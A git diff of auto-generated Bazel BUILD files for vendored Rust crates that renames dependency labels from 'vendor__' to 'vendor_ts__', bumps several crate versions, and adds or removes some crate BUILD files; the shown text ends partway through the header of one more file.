diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-0.24.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-0.24.6.bazel
index 4e7cb41b8117..aec9a765ca69 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-0.24.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-0.24.6.bazel
@@ -86,11 +86,11 @@ rust_library(
     }),
     version = "0.24.6",
     deps = [
-        "@vendor__regex-1.11.1//:regex",
-        "@vendor__regex-syntax-0.8.5//:regex_syntax",
-        "@vendor__streaming-iterator-0.1.9//:streaming_iterator",
-        "@vendor__tree-sitter-0.24.6//:build_script_build",
-        "@vendor__tree-sitter-language-0.1.3//:tree_sitter_language",
+        "@vendor_ts__regex-1.11.1//:regex",
+        "@vendor_ts__regex-syntax-0.8.5//:regex_syntax",
+        "@vendor_ts__streaming-iterator-0.1.9//:streaming_iterator",
+        "@vendor_ts__tree-sitter-0.24.6//:build_script_build",
+        "@vendor_ts__tree-sitter-language-0.1.3//:tree_sitter_language",
     ],
 )
 
@@ -147,7 +147,7 @@ cargo_build_script(
     version = "0.24.6",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-embedded-template-0.23.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-embedded-template-0.23.2.bazel
index dd057689059b..e65ebd282658 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-embedded-template-0.23.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-embedded-template-0.23.2.bazel
@@ -82,8 +82,8 @@ rust_library(
     }),
     version = "0.23.2",
     deps = [
-        "@vendor__tree-sitter-embedded-template-0.23.2//:build_script_build",
-        "@vendor__tree-sitter-language-0.1.3//:tree_sitter_language",
+        "@vendor_ts__tree-sitter-embedded-template-0.23.2//:build_script_build",
+        "@vendor_ts__tree-sitter-language-0.1.3//:tree_sitter_language",
     ],
 )
 
@@ -135,7 +135,7 @@ cargo_build_script(
     version = "0.23.2",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-json-0.24.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-json-0.24.8.bazel
index 8110b726022b..a5d58cfff1cd 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-json-0.24.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-json-0.24.8.bazel
@@ -82,8 +82,8 @@ rust_library(
     }),
     version = "0.24.8",
     deps = [
-        "@vendor__tree-sitter-json-0.24.8//:build_script_build",
-        "@vendor__tree-sitter-language-0.1.3//:tree_sitter_language",
+        "@vendor_ts__tree-sitter-json-0.24.8//:build_script_build",
+        "@vendor_ts__tree-sitter-language-0.1.3//:tree_sitter_language",
     ],
 )
 
@@ -135,7 +135,7 @@ cargo_build_script(
     version = "0.24.8",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ql-0.23.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ql-0.23.1.bazel
index 981966e42287..404fe701044a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ql-0.23.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ql-0.23.1.bazel
@@ -82,8 +82,8 @@ rust_library(
     }),
     version = "0.23.1",
     deps = [
-        "@vendor__tree-sitter-language-0.1.3//:tree_sitter_language",
-        "@vendor__tree-sitter-ql-0.23.1//:build_script_build",
+        "@vendor_ts__tree-sitter-language-0.1.3//:tree_sitter_language",
+        "@vendor_ts__tree-sitter-ql-0.23.1//:build_script_build",
     ],
 )
 
@@ -135,7 +135,7 @@ cargo_build_script(
     version = "0.23.1",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ruby-0.23.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ruby-0.23.1.bazel
index e01e9bb737a3..71a3b2369845 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ruby-0.23.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tree-sitter-ruby-0.23.1.bazel
@@ -82,8 +82,8 @@ rust_library(
     }),
     version = "0.23.1",
     deps = [
-        "@vendor__tree-sitter-language-0.1.3//:tree_sitter_language",
-        "@vendor__tree-sitter-ruby-0.23.1//:build_script_build",
+        "@vendor_ts__tree-sitter-language-0.1.3//:tree_sitter_language",
+        "@vendor_ts__tree-sitter-ruby-0.23.1//:build_script_build",
     ],
 )
 
@@ -135,7 +135,7 @@ cargo_build_script(
     version = "0.23.1",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel
index cee5d9b5be6d..5e2ddffce756 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel
@@ -87,7 +87,7 @@ rust_library(
     }),
     version = "0.1.14",
     deps = [
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__stable_deref_trait-1.2.0//:stable_deref_trait",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__stable_deref_trait-1.2.0//:stable_deref_trait",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.uncased-0.9.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.uncased-0.9.10.bazel
index 3666af4b65a1..9f9e8eaaf6a4 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.uncased-0.9.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.uncased-0.9.10.bazel
@@ -86,7 +86,7 @@ rust_library(
     }),
     version = "0.9.10",
     deps = [
-        "@vendor__uncased-0.9.10//:build_script_build",
+        "@vendor_ts__uncased-0.9.10//:build_script_build",
     ],
 )
 
@@ -142,7 +142,7 @@ cargo_build_script(
     version = "0.9.10",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__version_check-0.9.5//:version_check",
+        "@vendor_ts__version_check-0.9.5//:version_check",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.14.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.14.bazel
deleted file mode 100644
index 3caee39efcce..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.14.bazel
+++ /dev/null
@@ -1,83 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "unicode_ident",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=unicode-ident",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.14",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.16.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.16.bazel
new file mode 100644
index 000000000000..f1e1eea9fb4f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.unicode-ident-1.0.16.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "unicode_ident",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=unicode-ident",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.16",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.valuable-0.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.valuable-0.1.0.bazel
index a9cceb25bed8..a8fe7b8a667e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.valuable-0.1.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.valuable-0.1.0.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.1.0",
     deps = [
-        "@vendor__valuable-0.1.0//:build_script_build",
+        "@vendor_ts__valuable-0.1.0//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.walkdir-2.5.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.walkdir-2.5.0.bazel
index 0cac3017546d..6162d18a3cc4 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.walkdir-2.5.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.walkdir-2.5.0.bazel
@@ -81,16 +81,16 @@ rust_library(
     }),
     version = "2.5.0",
     deps = [
-        "@vendor__same-file-1.0.6//:same_file",
+        "@vendor_ts__same-file-1.0.6//:same_file",
     ] + select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
+            "@vendor_ts__winapi-util-0.1.9//:winapi_util",  # cfg(windows)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasi-0.13.3+wasi-0.2.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasi-0.13.3+wasi-0.2.2.bazel
new file mode 100644
index 000000000000..62578b6a312b
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasi-0.13.3+wasi-0.2.2.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "wasi",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=wasi",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.13.3+wasi-0.2.2",
+    deps = [
+        "@vendor_ts__wit-bindgen-rt-0.33.0//:wit_bindgen_rt",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-0.2.99.bazel
index 13e98ffd7af3..52ec9171a917 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-0.2.99.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-0.2.99.bazel
@@ -37,7 +37,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2021",
     proc_macro_deps = [
-        "@vendor__wasm-bindgen-macro-0.2.99//:wasm_bindgen_macro",
+        "@vendor_ts__wasm-bindgen-macro-0.2.99//:wasm_bindgen_macro",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -90,9 +90,9 @@ rust_library(
     }),
     version = "0.2.99",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-        "@vendor__once_cell-1.20.2//:once_cell",
-        "@vendor__wasm-bindgen-0.2.99//:build_script_build",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__wasm-bindgen-0.2.99//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel
index 63a6bbad2db6..35041989b3d5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel
@@ -85,11 +85,11 @@ rust_library(
     }),
     version = "0.2.99",
     deps = [
-        "@vendor__bumpalo-3.16.0//:bumpalo",
-        "@vendor__log-0.4.22//:log",
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-        "@vendor__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared",
+        "@vendor_ts__bumpalo-3.16.0//:bumpalo",
+        "@vendor_ts__log-0.4.25//:log",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+        "@vendor_ts__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel
index 548b449cf6fb..4523fef57ff7 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel
@@ -85,7 +85,7 @@ rust_proc_macro(
     }),
     version = "0.2.99",
     deps = [
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__wasm-bindgen-macro-support-0.2.99//:wasm_bindgen_macro_support",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__wasm-bindgen-macro-support-0.2.99//:wasm_bindgen_macro_support",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel
index 2d299b317f80..c624819b43df 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel
@@ -85,10 +85,10 @@ rust_library(
     }),
     version = "0.2.99",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-        "@vendor__wasm-bindgen-backend-0.2.99//:wasm_bindgen_backend",
-        "@vendor__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+        "@vendor_ts__wasm-bindgen-backend-0.2.99//:wasm_bindgen_backend",
+        "@vendor_ts__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-shared-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-shared-0.2.99.bazel
index 2842ddd46580..c22eb09d6269 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-shared-0.2.99.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-shared-0.2.99.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.2.99",
     deps = [
-        "@vendor__wasm-bindgen-shared-0.2.99//:build_script_build",
+        "@vendor_ts__wasm-bindgen-shared-0.2.99//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-0.3.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-0.3.9.bazel
index 6a1b6359aa4b..d80dd87d6905 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-0.3.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-0.3.9.bazel
@@ -89,7 +89,7 @@ rust_library(
     }),
     version = "0.3.9",
     deps = [
-        "@vendor__winapi-0.3.9//:build_script_build",
+        "@vendor_ts__winapi-0.3.9//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-i686-pc-windows-gnu-0.4.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-i686-pc-windows-gnu-0.4.0.bazel
index b4756544ab6e..2251d0123cd5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-i686-pc-windows-gnu-0.4.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-i686-pc-windows-gnu-0.4.0.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.4.0",
     deps = [
-        "@vendor__winapi-i686-pc-windows-gnu-0.4.0//:build_script_build",
+        "@vendor_ts__winapi-i686-pc-windows-gnu-0.4.0//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-util-0.1.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-util-0.1.9.bazel
index 74cade3e6823..cdb2fccbf698 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-util-0.1.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-util-0.1.9.bazel
@@ -82,13 +82,13 @@ rust_library(
     version = "0.1.9",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-x86_64-pc-windows-gnu-0.4.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-x86_64-pc-windows-gnu-0.4.0.bazel
index 3a0a95027ff6..4de908b91117 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-x86_64-pc-windows-gnu-0.4.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winapi-x86_64-pc-windows-gnu-0.4.0.bazel
